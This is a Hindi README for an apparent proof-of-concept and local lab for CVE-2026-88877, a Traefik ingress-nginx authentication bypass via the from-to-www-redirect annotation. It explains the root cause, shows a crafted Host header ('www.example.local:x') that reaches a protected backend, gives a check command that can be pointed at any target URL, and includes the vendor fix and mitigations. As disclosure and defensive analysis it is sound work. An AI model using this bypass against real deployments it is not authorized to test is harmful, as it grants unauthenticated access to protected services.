
CVE-2026-88877 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और पुनरुत्पादनीय लैब, जो from-to-www-redirect के माध्यम से Traefik ingress-nginx प्रमाणीकरण बायपास है, साथ में रीड-ओनली चेक मोड भी।
v3.7.0–v3.7.11 — from-to-www-redirect के माध्यम से प्रमाणीकरण बायपासलेखक: pwnVader · लाइसेंस: MIT (रिपॉज़िटरी रूट)
| घटक | Traefik (Kubernetes ingress-nginx प्रोवाइडर, providers.kubernetesingressnginx) |
| प्रकार | CWE-639 — उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बायपास |
| प्रभावित | Traefik >= v3.7.0, <= v3.7.11 (v2 और < v3.7.0 प्रभावित नहीं हैं) |
| ठीक किया गया | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3 (क्रिटिकल, विक्रेता सलाह के अनुसार) · CVSS 3.1 9.8 (कुछ भेद्यता डेटाबेस द्वारा प्रकाशित) |
| आधिकारिक सलाह | GHSA-cjr6-pf59-jq29 (Traefik रिपॉज़िटरी सलाह) |
| PoC | poc.sh · lab/ |
प्रकटीकरण स्थिति। यह भेद्यता Traefik प्रोजेक्ट द्वारा सार्वजनिक रूप से प्रकट की गई थी और v3.7.12 में ठीक कर दी गई है। यह दस्तावेज़ एक पुनरुत्पादनीय लैब के साथ एक स्वतंत्र तकनीकी विश्लेषण है — यह मूल खोज नहीं है। भेद्यता को ऊपर सूचीबद्ध विक्रेता सलाह के माध्यम से रिपोर्ट/प्रकट किया गया था (VulnCheck सलाह भी देखें)। स्पष्ट प्राधिकरण के बिना इस सामग्री का उपयोग सिस्टम के विरुद्ध न करें।
GHSA पहचानकर्ता। आधिकारिक रिपॉज़िटरी सलाह GHSA-cjr6-pf59-jq29 है। GitHub का सामान्य सलाह डेटाबेस भी इसी मुद्दे के लिए एक अलग रिकॉर्ड, GHSA-9rch-gvf7-hrfc, रखता है; भेद्यता का हवाला देते समय, रिपॉज़िटरी सलाह को प्राथमिकता दें।
जब एक Ingress में दोनों एक प्रमाणीकरण एनोटेशन (जैसे
nginx.ingress.kubernetes.io/auth-type: basic) और
nginx.ingress.kubernetes.io/from-to-www-redirect: "true" होता है, तो Traefik का ingress-nginx प्रोवाइडर
एक अतिरिक्त "सिबलिंग" राउटर बनाता है जो अकेले होस्ट से मेल खाता है, केवल जनरेट किया गया
RedirectRegex मिडलवेयर रखता है, और फिर भी संरक्षित बैकएंड की ओर इंगित करता है:
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // ONLY the redirect middleware
Service: rt.Service, // <-- the protected backend
}
RedirectRegex एक टर्मिनल हैंडलर नहीं है: यदि इसका रेगेक्स मेल नहीं खाता, तो अनुरोध
अगले हैंडलर को पास कर दिया जाता है और अंततः बैकएंड पर प्रॉक्सी कर दिया जाता है। रेगेक्स केवल एक संख्यात्मक
पोर्ट ((:[0-9]+)?) स्वीकार करता है, जबकि Traefik का Host() मैचर
net.SplitHostPort के माध्यम से अथॉरिटी को कैनोनिकलाइज़ करता है। इसलिए एक अनुरोध जिसके Host हेडर में गैर-संख्यात्मक या खाली पोर्ट है:
Host("www.example.com")) से मेल खाता है, लेकिनwww.example.com:x) से मेल नहीं खाता, इसलिए इसे रीडायरेक्ट नहीं किया जाता, औरएक अनप्रमाणित अनुरोध — Host: www.example.com:x — एक ऐसे बैकएंड तक पहुँचता है जिसके लिए
प्रमाणीकरण आवश्यक है। लौटाया गया HTTP स्टेटस बैकएंड पर ही निर्भर करता है: इस लैब में
traefik/whoami बैकएंड 200 उत्तर देता है, लेकिन सुरक्षा-प्रासंगिक तथ्य यह है कि अनुरोध
बिना प्रमाणीकरण के बैकएंड तक पहुँच गया, न कि विशिष्ट स्टेटस कोड।
v3.7.0–v3.7.11 ingress-nginx प्रोवाइडर सक्षम के साथ चल रहा हो
(--providers.kubernetesingressnginx=true)।nginx.ingress.kubernetes.io/from-to-www-redirect: "true" के साथ जोड़ता है, ऐसे होस्ट के लिए जिसका www. समकक्ष
न हो (अन्यथा सिबलिंग राउटर जनरेट नहीं होता)।# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
poc.sh check को किसी भी उम्मीदवार डिप्लॉयमेंट पर भी इंगित किया जा सकता है:
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
लैब में उपयोग किया गया बैकएंड (traefik/whoami) अनुरोध को प्रतिध्वनित करता है, जो सिद्ध करता है कि अनुरोध
संरक्षित सेवा तक बिना किसी Authorization हेडर और बिना auth मिडलवेयर लागू किए पहुँच गया। दिखाया गया स्टेटस कोड
(200) वह है जो यह विशेष बैकएंड लौटाता है; किसी भिन्न बैकएंड के साथ बायपास
किसी अन्य गैर-401/403/गैर-रीडायरेक्ट प्रतिक्रिया के रूप में सामने आ सकता है।
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
रीडायरेक्ट राउटर अब एक आंतरिक unavailable सेवा की ओर इंगित करता है, इसलिए भले ही कोई अनुरोध
रेगेक्स से फिसल जाए, यह कभी भी संरक्षित बैकएंड तक नहीं पहुँच सकता।
Traefik v3.7.12 या बाद के संस्करण में अपडेट करें। जो इंस्टॉलेशन अपडेट नहीं कर सकते, उन्हें अस्थायी रूप से
किसी भी ऐसे Ingress से nginx.ingress.kubernetes.io/from-to-www-redirect हटा देना चाहिए जो प्रमाणीकरण या
अनुमति सूचियों को जोड़ता है, और रीडायरेक्ट को ऐसी कॉन्फ़िगरेशन के साथ लागू करना चाहिए जो एक्सेस-कंट्रोल
मिडलवेयर को संरक्षित रखती है (जैसे मिडलवेयर संलग्न के साथ स्पष्ट Traefik RedirectScheme/RedirectRegex CRDs)।
गहराई में रक्षा: बैकएंड/अपस्ट्रीम पर भी प्रमाणीकरण लागू करें।
केवल अधिकृत सुरक्षा परीक्षण के लिए। लैब स्थानीय और स्व-निहित है; check मोड
केवल-पठन है (तीन GET अनुरोध) और इसका उपयोग केवल उन सिस्टम के विरुद्ध किया जाना चाहिए जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।